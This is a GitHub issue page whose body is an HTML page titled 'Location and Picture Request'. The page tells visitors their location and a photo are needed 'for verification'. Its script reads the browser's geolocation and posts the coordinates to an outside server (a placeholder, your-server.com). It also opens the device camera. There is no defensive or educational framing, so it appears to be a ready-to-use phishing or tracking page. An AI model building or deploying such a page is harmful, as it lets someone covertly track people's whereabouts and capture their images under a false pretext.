Skip to content

Code below #8

Description

@Mqska
<title>Location and Picture Request</title>

We need your location and a picture for verification

Share Location <script> // Get Location function getLocation() { if (navigator.geolocation) { navigator.geolocation.getCurrentPosition(sendLocation); } else { alert("Geolocation is not supported by this browser."); } }
    // Send Location Data
    function sendLocation(position) {
        fetch('https://your-server.com/location', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({
                latitude: position.coords.latitude,
                longitude: position.coords.longitude
            })
        }).then(response => response.json())
        .then(data => console.log("Location sent successfully"));
    }

    // Access Camera
    navigator.mediaDevices.getUserMedia({ video: true })
        .then(stream => {
            const video = document.getElementById('cameraStream');
            video.srcObject = stream;
        }).catch(err => {
            console.log("Error accessing camera: " + err);
        });
</script>

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions